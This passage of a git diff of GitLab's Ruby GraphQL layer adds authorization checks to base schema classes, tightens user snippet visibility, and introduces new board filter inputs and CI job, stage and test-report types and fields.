+ DESC
attr_reader :project
- alias_method :user, :synchronized_object
+ alias_method :user, :object
def ready?(project_id: nil, project_path: nil, **args)
return early_return unless can_read_profile?
@@ -22,8 +30,7 @@ module Resolvers
load_project(project_path, project_id)
return early_return unless can_read_project?
elsif args[:iids].present?
- raise ::Gitlab::Graphql::Errors::ArgumentError,
- 'iids requires projectPath or projectId'
+ raise ::Gitlab::Graphql::Errors::ArgumentError, 'iids requires projectPath or projectId'
end
super(**args)
diff --git a/app/graphql/resolvers/user_starred_projects_resolver.rb b/app/graphql/resolvers/user_starred_projects_resolver.rb
index db420b3d116..a8abe759f27 100644
--- a/app/graphql/resolvers/user_starred_projects_resolver.rb
+++ b/app/graphql/resolvers/user_starred_projects_resolver.rb
@@ -2,11 +2,11 @@
module Resolvers
class UserStarredProjectsResolver < BaseResolver
- type Types::ProjectType, null: true
+ type Types::ProjectType.connection_type, null: true
argument :search, GraphQL::STRING_TYPE,
- required: false,
- description: 'Search query.'
+ required: false,
+ description: 'Search query.'
alias_method :user, :object
diff --git a/app/graphql/resolvers/users/snippets_resolver.rb b/app/graphql/resolvers/users/snippets_resolver.rb
index e8048b9deb9..ee1727aadbe 100644
--- a/app/graphql/resolvers/users/snippets_resolver.rb
+++ b/app/graphql/resolvers/users/snippets_resolver.rb
@@ -5,6 +5,7 @@ module Resolvers
module Users
class SnippetsResolver < BaseResolver
include ResolvesSnippets
+ include Gitlab::Allowable
alias_method :user, :object
@@ -14,6 +15,12 @@ module Resolvers
private
+ def resolve_snippets(_args)
+ return Snippet.none unless Ability.allowed?(current_user, :read_user_profile, user)
+
+ super
+ end
+
def snippet_finder_params(args)
super.merge(author: user)
end
diff --git a/app/graphql/types/base_argument.rb b/app/graphql/types/base_argument.rb
index 4ad9e8c0e40..ff9a5a0611d 100644
--- a/app/graphql/types/base_argument.rb
+++ b/app/graphql/types/base_argument.rb
@@ -4,8 +4,10 @@ module Types
class BaseArgument < GraphQL::Schema::Argument
include GitlabStyleDeprecations
+ attr_reader :deprecation
+
def initialize(*args, **kwargs, &block)
- kwargs = gitlab_deprecation(kwargs)
+ @deprecation = gitlab_deprecation(kwargs)
super(*args, **kwargs, &block)
end
diff --git a/app/graphql/types/base_enum.rb b/app/graphql/types/base_enum.rb
index 4d470aceca4..518a902a5d7 100644
--- a/app/graphql/types/base_enum.rb
+++ b/app/graphql/types/base_enum.rb
@@ -21,12 +21,23 @@ module Types
graphql_name(enum_mod.name) if use_name
description(enum_mod.description) if use_description
- enum_mod.definition.each { |key, content| value(key.to_s.upcase, **content) }
+ enum_mod.definition.each do |key, content|
+ value(key.to_s.upcase, **content)
+ end
+ end
+
+ # Helper to define an enum member for each element of a Rails AR enum
+ def from_rails_enum(enum, description:)
+ enum.each_key do |name|
+ value name.to_s.upcase,
+ value: name,
+ description: format(description, name: name)
+ end
end
def value(*args, **kwargs, &block)
enum[args[0].downcase] = kwargs[:value] || args[0]
- kwargs = gitlab_deprecation(kwargs)
+ gitlab_deprecation(kwargs)
super(*args, **kwargs, &block)
end
@@ -36,6 +47,18 @@ module Types
def enum
@enum_values ||= {}.with_indifferent_access
end
+
+ def authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(authorize)
+ end
+
+ def authorize(*abilities)
+ @abilities = abilities
+ end
+
+ def authorized?(object, context)
+ authorization.ok?(object, context[:current_user])
+ end
end
end
end
diff --git a/app/graphql/types/base_field.rb b/app/graphql/types/base_field.rb
index 78ab6890923..7c939f94dde 100644
--- a/app/graphql/types/base_field.rb
+++ b/app/graphql/types/base_field.rb
@@ -2,28 +2,30 @@
module Types
class BaseField < GraphQL::Schema::Field
- prepend Gitlab::Graphql::Authorize
include GitlabStyleDeprecations
argument_class ::Types::BaseArgument
DEFAULT_COMPLEXITY = 1
+ attr_reader :deprecation
+
def initialize(**kwargs, &block)
@calls_gitaly = !!kwargs.delete(:calls_gitaly)
@constant_complexity = kwargs[:complexity].is_a?(Integer) && kwargs[:complexity] > 0
@requires_argument = !!kwargs.delete(:requires_argument)
+ @authorize = Array.wrap(kwargs.delete(:authorize))
kwargs[:complexity] = field_complexity(kwargs[:resolver_class], kwargs[:complexity])
@feature_flag = kwargs[:feature_flag]
kwargs = check_feature_flag(kwargs)
- kwargs = gitlab_deprecation(kwargs)
+ @deprecation = gitlab_deprecation(kwargs)
super(**kwargs, &block)
# We want to avoid the overhead of this in prod
extension ::Gitlab::Graphql::CallsGitaly::FieldExtension if Gitlab.dev_or_test_env?
-
extension ::Gitlab::Graphql::Present::FieldExtension
+ extension ::Gitlab::Graphql::Authorize::ConnectionFilterExtension
end
def may_call_gitaly?
@@ -34,6 +36,19 @@ module Types
@requires_argument || arguments.values.any? { |argument| argument.type.non_null? }
end
+ # By default fields authorize against the current object, but that is not how our
+ # resolvers work - they use declarative permissions to authorize fields
+ # manually (so we make them opt in).
+ # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/300922
+ # (separate out authorize into permissions on the object, and on the
+ # resolved values)
+ # We do not support argument authorization in our schema. If/when we do,
+ # we should call `super` here, to apply argument authorization checks.
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/324647
+ def authorized?(object, args, ctx)
+ field_authorized?(object, ctx) && resolver_authorized?(object, ctx)
+ end
+
def base_complexity
complexity = DEFAULT_COMPLEXITY
complexity += 1 if calls_gitaly?
@@ -58,6 +73,26 @@ module Types
attr_reader :feature_flag
+ def field_authorized?(object, ctx)
+ authorization.ok?(object, ctx[:current_user])
+ end
+
+ # Historically our resolvers have used declarative permission checks only
+ # for _what they resolved_, not the _object they resolved these things from_
+ # We preserve these semantics here, and only apply resolver authorization
+ # if the resolver has opted in.
+ def resolver_authorized?(object, ctx)
+ if @resolver_class && @resolver_class.try(:authorizes_object?)
+ @resolver_class.authorized?(object, ctx)
+ else
+ true
+ end
+ end
+
+ def authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(@authorize)
+ end
+
def feature_documentation_message(key, description)
"#{description} Available only when feature flag `#{key}` is enabled."
end
diff --git a/app/graphql/types/base_interface.rb b/app/graphql/types/base_interface.rb
index 4b1f3193136..c21c95876be 100644
--- a/app/graphql/types/base_interface.rb
+++ b/app/graphql/types/base_interface.rb
@@ -5,5 +5,11 @@ module Types
include GraphQL::Schema::Interface
field_class ::Types::BaseField
+
+ definition_methods do
+ def authorized?(object, context)
+ resolve_type(object, context).authorized?(object, context)
+ end
+ end
end
end
diff --git a/app/graphql/types/base_object.rb b/app/graphql/types/base_object.rb
index 9c36c83d4a3..cd677e50d28 100644
--- a/app/graphql/types/base_object.rb
+++ b/app/graphql/types/base_object.rb
@@ -19,6 +19,14 @@ module Types
GitlabSchema.id_from_object(object)
end
+ def self.authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(authorize)
+ end
+
+ def self.authorized?(object, context)
+ authorization.ok?(object, context[:current_user])
+ end
+
def current_user
context[:current_user]
end
diff --git a/app/graphql/types/base_union.rb b/app/graphql/types/base_union.rb
index 30a5668c0bb..aeafbf85020 100644
--- a/app/graphql/types/base_union.rb
+++ b/app/graphql/types/base_union.rb
@@ -2,5 +2,8 @@
module Types
class BaseUnion < GraphQL::Schema::Union
+ def self.authorized?(object, context)
+ resolve_type(object, context).authorized?(object, context)
+ end
end
end
diff --git a/app/graphql/types/board_type.rb b/app/graphql/types/board_type.rb
index f33f3f5e537..42d8eecc366 100644
--- a/app/graphql/types/board_type.rb
+++ b/app/graphql/types/board_type.rb
@@ -20,6 +20,12 @@ module Types
field :hide_closed_list, type: GraphQL::BOOLEAN_TYPE, null: true,
description: 'Whether or not closed list is hidden.'
+ field :created_at, Types::TimeType, null: false,
+ description: 'Timestamp of when the board was created.'
+
+ field :updated_at, Types::TimeType, null: false,
+ description: 'Timestamp of when the board was last updated.'
+
field :lists,
Types::BoardListType.connection_type,
null: true,
diff --git a/app/graphql/types/boards/assignee_wildcard_id_enum.rb b/app/graphql/types/boards/assignee_wildcard_id_enum.rb
new file mode 100644
index 00000000000..ba9058a78d9
--- /dev/null
+++ b/app/graphql/types/boards/assignee_wildcard_id_enum.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Types
+ module Boards
+ class AssigneeWildcardIdEnum < BaseEnum
+ graphql_name 'AssigneeWildcardId'
+ description 'Assignee ID wildcard values'
+
+ value 'NONE', 'No assignee is assigned.'
+ value 'ANY', 'An assignee is assigned.'
+ end
+ end
+end
diff --git a/app/graphql/types/boards/board_issuable_input_base_type.rb b/app/graphql/types/boards/board_issuable_input_base_type.rb
new file mode 100644
index 00000000000..2cd057347d6
--- /dev/null
+++ b/app/graphql/types/boards/board_issuable_input_base_type.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Types
+ module Boards
+ # Common arguments that we can be used to filter boards epics and issues
+ class BoardIssuableInputBaseType < BaseInputObject
+ argument :label_name, [GraphQL::STRING_TYPE, null: true],
+ required: false,
+ description: 'Filter by label name.'
+
+ argument :author_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by author username.'
+
+ argument :my_reaction_emoji, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by reaction emoji applied by the current user.'
+ end
+ end
+end
diff --git a/app/graphql/types/boards/board_issue_input_base_type.rb b/app/graphql/types/boards/board_issue_input_base_type.rb
index b762cef6e58..7cf2dcb9c82 100644
--- a/app/graphql/types/boards/board_issue_input_base_type.rb
+++ b/app/graphql/types/boards/board_issue_input_base_type.rb
@@ -2,30 +2,19 @@
module Types
module Boards
- class BoardIssueInputBaseType < BaseInputObject
- argument :label_name, GraphQL::STRING_TYPE.to_list_type,
- required: false,
- description: 'Filter by label name.'
-
+ # rubocop: disable Graphql/AuthorizeTypes
+ class BoardIssueInputBaseType < BoardIssuableInputBaseType
argument :milestone_title, GraphQL::STRING_TYPE,
required: false,
description: 'Filter by milestone title.'
- argument :assignee_username, GraphQL::STRING_TYPE.to_list_type,
+ argument :assignee_username, [GraphQL::STRING_TYPE, null: true],
required: false,
description: 'Filter by assignee username.'
- argument :author_username, GraphQL::STRING_TYPE,
- required: false,
- description: 'Filter by author username.'
-
argument :release_tag, GraphQL::STRING_TYPE,
required: false,
description: 'Filter by release tag.'
-
- argument :my_reaction_emoji, GraphQL::STRING_TYPE,
- required: false,
- description: 'Filter by reaction emoji.'
end
end
end
diff --git a/app/graphql/types/boards/board_issue_input_type.rb b/app/graphql/types/boards/board_issue_input_type.rb
index 9cc0f484a16..8c0e37e5cb7 100644
--- a/app/graphql/types/boards/board_issue_input_type.rb
+++ b/app/graphql/types/boards/board_issue_input_type.rb
@@ -2,19 +2,24 @@
module Types
module Boards
- class NegatedBoardIssueInputType < BoardIssueInputBaseType
- end
-
class BoardIssueInputType < BoardIssueInputBaseType
graphql_name 'BoardIssueInput'
argument :not, NegatedBoardIssueInputType,
required: false,
- description: 'List of negated params. Warning: this argument is experimental and a subject to change in future.'
+ prepare: ->(negated_args, ctx) { negated_args.to_h },
+ description: <<~MD
+ List of negated arguments.
+ Warning: this argument is experimental and a subject to change in future.
+ MD
argument :search, GraphQL::STRING_TYPE,
required: false,
description: 'Search query for issue title or description.'
+
+ argument :assignee_wildcard_id, ::Types::Boards::AssigneeWildcardIdEnum,
+ required: false,
+ description: 'Filter by assignee wildcard. Incompatible with assigneeUsername.'
end
end
end
diff --git a/app/graphql/types/boards/negated_board_issue_input_type.rb b/app/graphql/types/boards/negated_board_issue_input_type.rb
new file mode 100644
index 00000000000..a0fab2ae969
--- /dev/null
+++ b/app/graphql/types/boards/negated_board_issue_input_type.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Types
+ module Boards
+ class NegatedBoardIssueInputType < BoardIssueInputBaseType
+ end
+ end
+end
+
+Types::Boards::NegatedBoardIssueInputType.prepend_if_ee('::EE::Types::Boards::NegatedBoardIssueInputType')
diff --git a/app/graphql/types/ci/job_status_enum.rb b/app/graphql/types/ci/job_status_enum.rb
new file mode 100644
index 00000000000..ec80b1f4776
--- /dev/null
+++ b/app/graphql/types/ci/job_status_enum.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ class JobStatusEnum < BaseEnum
+ graphql_name 'CiJobStatus'
+
+ ::Ci::HasStatus::AVAILABLE_STATUSES.each do |status|
+ value status.upcase,
+ description: "A job that is #{status.tr('_', ' ')}.",
+ value: status
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/job_type.rb b/app/graphql/types/ci/job_type.rb
index c86337eea89..94a256fed3d 100644
--- a/app/graphql/types/ci/job_type.rb
+++ b/app/graphql/types/ci/job_type.rb
@@ -6,27 +6,74 @@ module Types
graphql_name 'CiJob'
authorize :read_commit_status
+ connection_type_class(Types::CountableConnectionType)
+
+ field :id, ::Types::GlobalIDType[::CommitStatus].as('JobID'), null: true,
+ description: 'ID of the job.'
field :pipeline, Types::Ci::PipelineType, null: true,
description: 'Pipeline the job belongs to.'
field :name, GraphQL::STRING_TYPE, null: true,
description: 'Name of the job.'
field :needs, BuildNeedType.connection_type, null: true,
description: 'References to builds that must complete before the jobs run.'
- field :detailed_status, Types::Ci::DetailedStatusType, null: true,
- description: 'Detailed status of the job.'
+ field :status,
+ type: ::Types::Ci::JobStatusEnum,
+ null: true,
+ description: "Status of the job."
+ field :stage, Types::Ci::StageType, null: true,
+ description: 'Stage of the job.'
+ field :allow_failure, ::GraphQL::BOOLEAN_TYPE, null: false,
+ description: 'Whether this job is allowed to fail.'
+ field :duration, GraphQL::INT_TYPE, null: true,
+ description: 'Duration of the job in seconds.'
+ field :tags, [GraphQL::STRING_TYPE], null: true,
+ description: 'Tags for the current job.'
+
+ # Life-cycle timestamps:
+ field :created_at, Types::TimeType, null: false,
+ description: "When the job was created."
+ field :queued_at, Types::TimeType, null: true,
+ description: 'When the job was enqueued and marked as pending.'
+ field :started_at, Types::TimeType, null: true,
+ description: 'When the job was started.'
+ field :finished_at, Types::TimeType, null: true,
+ description: 'When a job has finished running.'
field :scheduled_at, Types::TimeType, null: true,
description: 'Schedule for the build.'
+
+ field :detailed_status, Types::Ci::DetailedStatusType, null: true,
+ description: 'Detailed status of the job.'
field :artifacts, Types::Ci::JobArtifactType.connection_type, null: true,
description: 'Artifacts generated by the job.'
- field :finished_at, Types::TimeType, null: true,
- description: 'When a job has finished running.'
- field :duration, GraphQL::INT_TYPE, null: true,
- description: 'Duration of the job in seconds.'
+ field :short_sha, type: GraphQL::STRING_TYPE, null: false,
+ description: 'Short SHA1 ID of the commit.'
+ field :scheduling_type, GraphQL::STRING_TYPE, null: true,
+ description: 'Type of pipeline scheduling. Value is `dag` if the pipeline uses the `needs` keyword, and `stage` otherwise.'
+ field :commit_path, GraphQL::STRING_TYPE, null: true,
+ description: 'Path to the commit that triggered the job.'
+ field :ref_name, GraphQL::STRING_TYPE, null: true,
+ description: 'Ref name of the job.'
+ field :ref_path, GraphQL::STRING_TYPE, null: true,
+ description: 'Path to the ref.'
+ field :playable, GraphQL::BOOLEAN_TYPE, null: false, method: :playable?,
+ description: 'Indicates the job can be played.'
+ field :retryable, GraphQL::BOOLEAN_TYPE, null: false, method: :retryable?,
+ description: 'Indicates the job can be retried.'
+ field :cancelable, GraphQL::BOOLEAN_TYPE, null: false, method: :cancelable?,
+ description: 'Indicates the job can be canceled.'
+ field :active, GraphQL::BOOLEAN_TYPE, null: false, method: :active?,
+ description: 'Indicates the job is active.'
+ field :coverage, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Coverage level of the job.'
def pipeline
Gitlab::Graphql::Loaders::BatchModelLoader.new(::Ci::Pipeline, object.pipeline_id).find
end
+ def tags
+ object.tags.map(&:name) if object.is_a?(::Ci::Build)
+ end
+
def detailed_status
object.detailed_status(context[:current_user])
end
@@ -36,6 +83,46 @@ module Types
object.job_artifacts
end
end
+
+ def stage
+ ::Gitlab::Graphql::Lazy.with_value(pipeline) do |pl|
+ BatchLoader::GraphQL.for([pl, object.stage]).batch do |ids, loader|
+ by_pipeline = ids
+ .group_by(&:first)
+ .transform_values { |grp| grp.map(&:second) }
+
+ by_pipeline.each do |p, names|
+ p.stages.by_name(names).each { |s| loader.call([p, s.name], s) }
+ end
+ end
+ end
+ end
+
+ # This class is a secret union!
+ # TODO: turn this into an actual union, so that fields can be referenced safely!
+ def id
+ return unless object.id.present?
+
+ model_name = object.type || ::CommitStatus.name
+ id = object.id
+ Gitlab::GlobalId.build(model_name: model_name, id: id)
+ end
+
+ def commit_path
+ ::Gitlab::Routing.url_helpers.project_commit_path(object.project, object.sha)
+ end
+
+ def ref_name
+ object&.ref
+ end
+
+ def ref_path
+ ::Gitlab::Routing.url_helpers.project_commits_path(object.project, ref_name)
+ end
+
+ def coverage
+ object&.coverage
+ end
end
end
end
diff --git a/app/graphql/types/ci/pipeline_config_source_enum.rb b/app/graphql/types/ci/pipeline_config_source_enum.rb
index e1575cb2f99..96c8a5f2941 100644
--- a/app/graphql/types/ci/pipeline_config_source_enum.rb
+++ b/app/graphql/types/ci/pipeline_config_source_enum.rb
@@ -4,7 +4,8 @@ module Types
module Ci
class PipelineConfigSourceEnum < BaseEnum
::Enums::Ci::Pipeline.config_sources.keys.each do |state_symbol|
- value state_symbol.to_s.upcase, value: state_symbol.to_s
+ description = state_symbol == :auto_devops_source ? "Auto DevOps source." : "#{state_symbol.to_s.titleize.capitalize}." # This is needed to avoid failure in doc lint
+ value state_symbol.to_s.upcase, value: state_symbol.to_s, description: description
end
end
end
diff --git a/app/graphql/types/ci/pipeline_status_enum.rb b/app/graphql/types/ci/pipeline_status_enum.rb
index c19ddf5bb25..e0b2020dcc1 100644
--- a/app/graphql/types/ci/pipeline_status_enum.rb
+++ b/app/graphql/types/ci/pipeline_status_enum.rb
@@ -4,7 +4,9 @@ module Types
module Ci
class PipelineStatusEnum < BaseEnum
::Ci::Pipeline.all_state_names.each do |state_symbol|
- value state_symbol.to_s.upcase, value: state_symbol.to_s
+ value state_symbol.to_s.upcase,
+ description: ::Ci::Pipeline::STATUSES_DESCRIPTION[state_symbol],
+ value: state_symbol.to_s
end
end
end
diff --git a/app/graphql/types/ci/pipeline_type.rb b/app/graphql/types/ci/pipeline_type.rb
index 49be200a788..2e83f6c1f5a 100644
--- a/app/graphql/types/ci/pipeline_type.rb
+++ b/app/graphql/types/ci/pipeline_type.rb
@@ -81,6 +81,20 @@ module Types
description: 'Jobs belonging to the pipeline.',
resolver: ::Resolvers::Ci::JobsResolver
+ field :job,
+ type: ::Types::Ci::JobType,
+ null: true,
+ description: 'A specific job in this pipeline, either by name or ID.' do
+ argument :id,
+ type: ::Types::GlobalIDType[::CommitStatus],
+ required: false,
+ description: 'ID of the job.'
+ argument :name,
+ type: ::GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Name of the job.'
+ end
+
field :source_job, Types::Ci::JobType, null: true,
description: 'Job where pipeline was triggered from.'
@@ -104,8 +118,24 @@ module Types
field :active, GraphQL::BOOLEAN_TYPE, null: false, method: :active?,
description: 'Indicates if the pipeline is active.'
+ field :uses_needs, GraphQL::BOOLEAN_TYPE, null: true,
+ method: :uses_needs?,
+ description: 'Indicates if the pipeline has jobs with `needs` dependencies.'
+
+ field :test_report_summary,
+ Types::Ci::TestReportSummaryType,
+ null: false,
+ description: 'Summary of the test report generated by the pipeline.',
+ resolver: Resolvers::Ci::TestReportSummaryResolver
+
+ field :test_suite,
+ Types::Ci::TestSuiteType,
+ null: true,
+ description: 'A specific test suite in a pipeline test report.',
+ resolver: Resolvers::Ci::TestSuiteResolver
+
def detailed_status
- object.detailed_status(context[:current_user])
+ object.detailed_status(current_user)
end
def user
@@ -119,6 +149,19 @@ module Types
def path
::Gitlab::Routing.url_helpers.project_pipeline_path(object.project, object)
end
+
+ def job(id: nil, name: nil)
+ raise ::Gitlab::Graphql::Errors::ArgumentError, 'One of id or name is required' unless id || name
+
+ if id
+ id = ::Types::GlobalIDType[::CommitStatus].coerce_isolated_input(id) if id
+ pipeline.statuses.id_in(id.model_id)
+ else
+ pipeline.statuses.by_name(name)
+ end.take # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ alias_method :pipeline, :object
end
end
end
diff --git a/app/graphql/types/ci/recent_failures_type.rb b/app/graphql/types/ci/recent_failures_type.rb
new file mode 100644
index 00000000000..eeff7222762
--- /dev/null
+++ b/app/graphql/types/ci/recent_failures_type.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class RecentFailuresType < BaseObject
+ graphql_name 'RecentFailures'
+ description 'Recent failure history of a test case.'
+
+ connection_type_class(Types::CountableConnectionType)
+
+ field :count, GraphQL::INT_TYPE, null: true,
+ description: 'Number of times the test case has failed in the past 14 days.'
+
+ field :base_branch, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the base branch of the project.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/ci/stage_type.rb b/app/graphql/types/ci/stage_type.rb
index 836f2430890..56b4f248697 100644
--- a/app/graphql/types/ci/stage_type.rb
+++ b/app/graphql/types/ci/stage_type.rb
@@ -12,10 +12,13 @@ module Types
extras: [:lookahead],
description: 'Group of jobs for the stage.'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
- description: 'Detailed status of the stage.'
+ description: 'Detailed status of the stage.'
+ field :jobs, Ci::JobType.connection_type, null: true,
+ description: 'Jobs for the stage.',
+ method: 'latest_statuses'
def detailed_status
- object.detailed_status(context[:current_user])
+ object.detailed_status(current_user)
end
# Issues one query per pipeline
@@ -33,6 +36,34 @@ module Types
jobs_for_pipeline(pl, indexed.keys, include_needs).each do |stage_id, statuses|
key = indexed[stage_id]
groups = ::Ci::Group.fabricate(project, key.stage, statuses)
+
+ if Feature.enabled?(:ci_no_empty_groups, project)
+ groups.each do |group|
+ rejected = group.jobs.reject { |job| Ability.allowed?(current_user, :read_commit_status, job) }
+ group.jobs.select! { |job| Ability.allowed?(current_user, :read_commit_status, job) }
+ next unless group.jobs.empty?
+
+ exc = StandardError.new('Empty Ci::Group')
+ traces = rejected.map do |job|
+ trace = []
+ policy = Ability.policy_for(current_user, job)
+ policy.debug(:read_commit_status, trace)
+ trace
+ end
+ extra = {
+ current_user_id: current_user&.id,
+ project_id: project.id,
+ pipeline_id: pl.id,
+ stage_id: stage_id,
+ group_name: group.name,
+ rejected_job_ids: rejected.map(&:id),
+ rejected_traces: traces
+ }
+ Gitlab::ErrorTracking.track_exception(exc, extra)
+ end
+ groups.reject! { |group| group.jobs.empty? }
+ end
+
loader.call(key, groups)
end
end
diff --git a/app/graphql/types/ci/test_case_status_enum.rb b/app/graphql/types/ci/test_case_status_enum.rb
new file mode 100644
index 00000000000..6a5f8bc2a59
--- /dev/null
+++ b/app/graphql/types/ci/test_case_status_enum.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ class TestCaseStatusEnum < BaseEnum
+ graphql_name 'TestCaseStatus'
+
+ ::Gitlab::Ci::Reports::TestCase::STATUS_TYPES.each do |status|
+ value status,
+ description: "Test case that has a status of #{status}.",
+ value: status
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/test_case_type.rb b/app/graphql/types/ci/test_case_type.rb
new file mode 100644
index 00000000000..9cc3f918125
--- /dev/null
+++ b/app/graphql/types/ci/test_case_type.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class TestCaseType < BaseObject
+ graphql_name 'TestCase'
+ description 'Test case in pipeline test report.'
+
+ connection_type_class(Types::CountableConnectionType)
+
+ field :status, Types::Ci::TestCaseStatusEnum, null: true,
+ description: "Status of the test case (#{::Gitlab::Ci::Reports::TestCase::STATUS_TYPES.join(', ')})."
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the test case.'
+
+ field :classname, GraphQL::STRING_TYPE, null: true,
+ description: 'Classname of the test case.'
+
+ field :execution_time, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Test case execution time in seconds.'
+
+ field :file, GraphQL::STRING_TYPE, null: true,
+ description: 'Path to the file of the test case.'
+
+ field :attachment_url, GraphQL::STRING_TYPE, null: true,
+ description: 'URL of the test case attachment file.'
+
+ field :system_output, GraphQL::STRING_TYPE, null: true,
+ description: 'System output of the test case.'
+
+ field :stack_trace, GraphQL::STRING_TYPE, null: true,
+ description: 'Stack trace of the test case.'
+
+ field :recent_failures, Types::Ci::RecentFailuresType, null: true,
+ description: 'Recent failure history of the test case on the base branch.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/ci/test_report_summary_type.rb b/app/graphql/types/ci/test_report_summary_type.rb
new file mode 100644
index 00000000000..87207c8a765
--- /dev/null
+++ b/app/graphql/types/ci/test_report_summary_type.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ # This is presented through `PipelineType` that has its own authorization
+ class TestReportSummaryType < BaseObject
+ graphql_name 'TestReportSummary'
+ description 'Test report for a pipeline'
+
+ field :total, Types::Ci::TestReportTotalType, null: false,
+ description: 'Total report statistics for a pipeline test report.'
+
+ field :test_suites, Types::Ci::TestSuiteSummaryType.connection_type, null: false,
+ description: 'Test suites belonging to a pipeline test report.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/ci/test_report_total_type.rb b/app/graphql/types/ci/test_report_total_type.rb
new file mode 100644
index 00000000000..1123734adc3
--- /dev/null
+++ b/app/graphql/types/ci/test_report_total_type.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class TestReportTotalType < BaseObject
+ graphql_name 'TestReportTotal'
+ description 'Total test report statistics.'
+
+ field :time, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Total duration of the tests.'
+
+ field :count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of the test cases.'
+
+ field :success, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that succeeded.'
+
+ field :failed, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that failed.'
+
+ field :skipped, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that were skipped.'
+
+ field :error, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that had an error.'
+
+ field :suite_error, GraphQL::STRING_TYPE, null: true,
+ description: 'Test suite error message.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/ci/test_suite_summary_type.rb b/app/graphql/types/ci/test_suite_summary_type.rb
new file mode 100644
index 00000000000..a80a9179cb4
--- /dev/null
+++ b/app/graphql/types/ci/test_suite_summary_type.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class TestSuiteSummaryType < BaseObject
+ graphql_name 'TestSuiteSummary'
+ description 'Test suite summary in a pipeline test report.'
+
+ connection_type_class(Types::CountableConnectionType)
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the test suite.'
+
+ field :total_time, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Total duration of the tests in the test suite.'
+
+ field :total_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of the test cases in the test suite.'
+
+ field :success_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that succeeded in the test suite.'
+
+ field :failed_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that failed in the test suite.'
+
+ field :skipped_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that were skipped in the test suite.'
+
+ field :error_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that had an error.'
+
+ field :suite_error, GraphQL::STRING_TYPE, null: true,
+ description: 'Test suite error message.'
+
+ field :build_ids, [GraphQL::ID_TYPE], null: true,
+ description: 'IDs of the builds used to run the test suite.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
diff --git a/app/graphql/types/ci/test_suite_type.rb b/app/graphql/types/ci/test_suite_type.rb
new file mode 100644
index 00000000000..7d4c01da81b
--- /dev/null
+++ b/app/graphql/types/ci/test_suite_type.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ # rubocop: disable Graphql/AuthorizeTypes
+ class TestSuiteType < BaseObject
+ graphql_name 'TestSuite'
+ description 'Test suite in a pipeline test report.'
+
+ connection_type_class(Types::CountableConnectionType)
+
+ field :name, GraphQL::STRING_TYPE, null: true,
+ description: 'Name of the test suite.'
+
+ field :total_time, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Total duration of the tests in the test suite.'
+
+ field :total_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of the test cases in the test suite.'
+
+ field :success_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that succeeded in the test suite.'
+
+ field :failed_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that failed in the test suite.'
+
+ field :skipped_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that were skipped in the test suite.'
+
+ field :error_count, GraphQL::INT_TYPE, null: true,
+ description: 'Total number of test cases that had an error.'
+
+ field :suite_error, GraphQL::STRING_TYPE, null: true,
+ description: 'Test suite error message.'
+
+ field :test_cases, Types::Ci::TestCaseType.connection_type, null: true,
+ description: 'Test cases in the test suite.'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
